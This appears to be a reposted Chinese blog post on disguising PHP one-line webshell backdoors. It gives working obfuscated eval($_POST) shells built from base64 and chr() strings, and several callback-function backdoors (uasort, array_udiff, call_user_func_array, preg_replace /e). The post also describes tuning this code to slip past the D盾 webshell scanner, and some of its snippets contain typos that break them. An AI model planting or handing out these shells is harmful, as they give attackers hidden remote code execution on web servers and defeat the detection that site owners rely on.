zoukankan      html  css  js  c++  java
  • 一句话木马简单变形

    木马变形的方式:

    1.字符串拼接(编码,base64,rot13,chr())

    base64编码案列:
    <?php
    $__C_C = "WlhaaGJDZ2tYMUJQVTFSYmVGMHBPdz09";
    $__P_P = "abcdefghijklmnopqrstuvwxyz";
    $__X_X = "123456789";
    $__O_O= $__X_X[5] . $__X_X_[3] . "_";   //64
    $__B_B = $__P_P{1} . $__P_P[0] . $__P_P[18] . $__P_P[4];  //base
    $__H_H = $__B_B . $__O_O . $__P_P[3].$__P_P[4] . $__P_P[2] . $__P_P[14] . $__P_P[3] . $__P_P[4];  //base64_decode encode
    $__E_E=$__P_P[4] . $__P_P[21] . $__P_P[O] . $__P_P[11];   //eval
    $__F_F=$__P_P[2] . $__P_P[17] . $__P_P[4] . $__P_P[0] . $__P_P[19] . $__P_P[4];   //create
    $__F_F=$__F_F . ’_’ . $__P_P[5] . $__P_P[20] . $__P_P[13] . $__P_P[2] . $__P_P[19] . $__P_P[8] . $__P_P[14] . $__P_P[13];   //create function
    $__D_D=$__F_F('$__S_S',$__E_E . '("$__S_S");');     //create_function("",'eval();')==eval()
    @$__D_D($__H_H($__H_H($__C_C)));    //eval('eval($_POST[x]);')
    ?>


    chr()案列:

    <?php
    $_uU=chr(99) . chr(104) . chr(114);
    //echo $_uU;
    
    $_cC=$_uU(101) . $_uU(118) . $_uU(97) . $_uU(108) . $_uU(40) . $_uU(36) . $_uU(95) . $_uU(80) . $_uU(79) . $_uU(83) . $_uU(84) . $_uU(91) . $_uU(49) . $_uU(93) . $_uU(41) . $_uU(59);
    //echo $ cC;
    
    $_fF=$_uU(99) . $_uU(114) . $_uU(101) . $_uU(97) . $_uU(116) . $_uU(101) . $_uU(95) . $_uU(102). $_uU(117) . $_uU(110) . $_uU(99) . $_uU(116) . $_uU(105) . $_uU(111) . $_uU(110);
    //echo $_fF;
    
    $_=$_fF("",$_cC);@$_();
    ?>


    2.create_function(参数,函数体代码) 创建匿名函数

    3.preg_replace(‘/*/e’,phpinfo(),$data)

    4.字符位运算(拼接)

    5.<script language="php">phpinfo();</script>

    6.不死马

    7.gzinflate解压

    8.不同位置传值


    参数回调法:

    回调函数:Callback (即call then back 被主函数调用运算后会返回主函数),是指通过函数参数传递到其它代码的,某一块可执行代码的引用。

    已被D盾查杀的函数:

    array_filter()
    array_walk()
    array_walk_recursive()
    array_map()
    registregister_shutdown_function();
    filter_var()
    filter_var_array()
    uasort()
    uksort()
    array_reduce() 可疑(级别2)
    array_walk()
    array_walk_recursive()


    最一般的绕狗、后门思路:

    call_user_func('assert', $_REQUEST['pass']);   //直接参数回调,将$_REQUEST['pass']传入的数据,传递给assert函数去执行。

    双参数回调后门:

    <?php
    $e = $_REQUEST['e'];
    $arr = array('test', $_REQUEST['pass']);
    uasort($arr, base64_decode($e));
    ?>


    e作为传参参数,使用base64加密过的assert函数,即YXNzZXJ0,pass作为密码。整个过程是将调用$e函数,执行$arr,也就是用assert进行代码执行


    衍生出来的方法有:

    1.换为uksort函数:

    <?php $e = $_REQUEST['e'];
    $arr = array('test' => 1, $_REQUEST['pass'] => 2); uksort($arr, $e);

    2.面向对象的方法:

    <?php
    // way 0 
    $arr = new ArrayObject(array('test', $_REQUEST['pass']));
    $arr->uasort('assert');
    // way 1 
    $arr = new ArrayObject(array('test' => 1, $_REQUEST['pass'] => 2));
    $arr->uksort('assert');
    ?>
    

    3.array_reduce

    <?php
    $e = $_REQUEST['e'];
    $arr = array(1);
    array_reduce($arr, $e, $_POST['pass']);
    ?>

    4.array_udiff

    <?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass']);
    $arr2 = array(1);
    array_udiff($arr, $arr2, $e);
    ?>

    变种array_udiff

    <?php
    function newsSearch($para0,$para1){
    	$evil=$para0;
    	$exec=$para1;
    	array_udiff($arr=array($evil),$arr1 = array(''),$exec);
    }
    $exec=base64_decode($_REQUEST['exec']);
    newsSearch($_POST['key'],$exec);
    ?>

    5.register_tick_function()

    <?php
    declare(ticks=1);
    register_tick_function(base64_decode($_REQUEST['e']),$_REQUEST['a']);
    ?>

    6.变种call_user_func_array()

    尝试模仿正常函数调用,定义一个简单的function:

    <?php
    function newsSearch($para0){
    	$evil=$para0;
    	$exec=$_GET['id'];
    	call_user_func_array($exec,array($evil));
    }
    newsSearch($_POST['tid']);
    ?>

    使用D盾查杀。没过!!变量$exec被解析成了$GET["id"],但$evil没有被解析,猜测只要将$exec放在newSearch()函数外面用GET方法获取,就不会被D盾解析,编写新的shell:

    <?php
    function newsSearch($para0,$para1){
    	$evil=$para0;
    	call_user_func_array($para1,array($evil));
    }
    $exec=base64_decode($_GET['id']);
    newsSearch($_POST['tid'],$exec); ?>

    同样使用call_user_func函数,构造shell如下:

    <?php
    function newsSearch($para0,$para1){
    	$evil=$para0;
    	call_user_func_array($para1,array($evil));
    }
    $exec=base64_decode($_GET['id']);
    newsSearch($_POST['tid'],$exec); ?>


    三参数回调后门

    <?php
    $e = $_REQUEST['e'];
    $arr = array($_POST['pass'] => '|.*|e',);
    array_walk_recursive($arr, $e, '');
    ?>
    

    这段代码的最终效果是回调名字为$e的函数,$arr数组中的$_POST[pass](键)作为回调函数的第一个参数,'|.*|e'作为第二个参数。''作为第三个参数。

    最常见的preg_replace

    preg_replace('|.*|e', '你的命令', '');

    其他效果类似的函数:

    mb_ereg_replace
    preg_filter

    sqlite回调后门

    如果可以使用PDO的话,可以用sqlite的PDO来执行代码

    <?php
    $db = new PDO('sqlite::memory:');
    $st = $db->query("SELECT 'phpinfo()'");
    $re = $st->frtch
    ?>

    文章摘录于:https://forum.90sec.com/t/topic/55         https://www.freebuf.com/articles/web/194243.html

  • 相关阅读:
    learning scala view collection
    scala
    learning scala dependency injection
    learning scala implicit class
    learning scala type alise
    learning scala PartialFunction
    learning scala Function Recursive Tail Call
    learning scala Function Composition andThen
    System.Threading.Interlocked.CompareChange使用
    System.Threading.Monitor的使用
  • 原文地址:https://www.cnblogs.com/sup3rman/p/12673512.html
Copyright © 2011-2022 走看看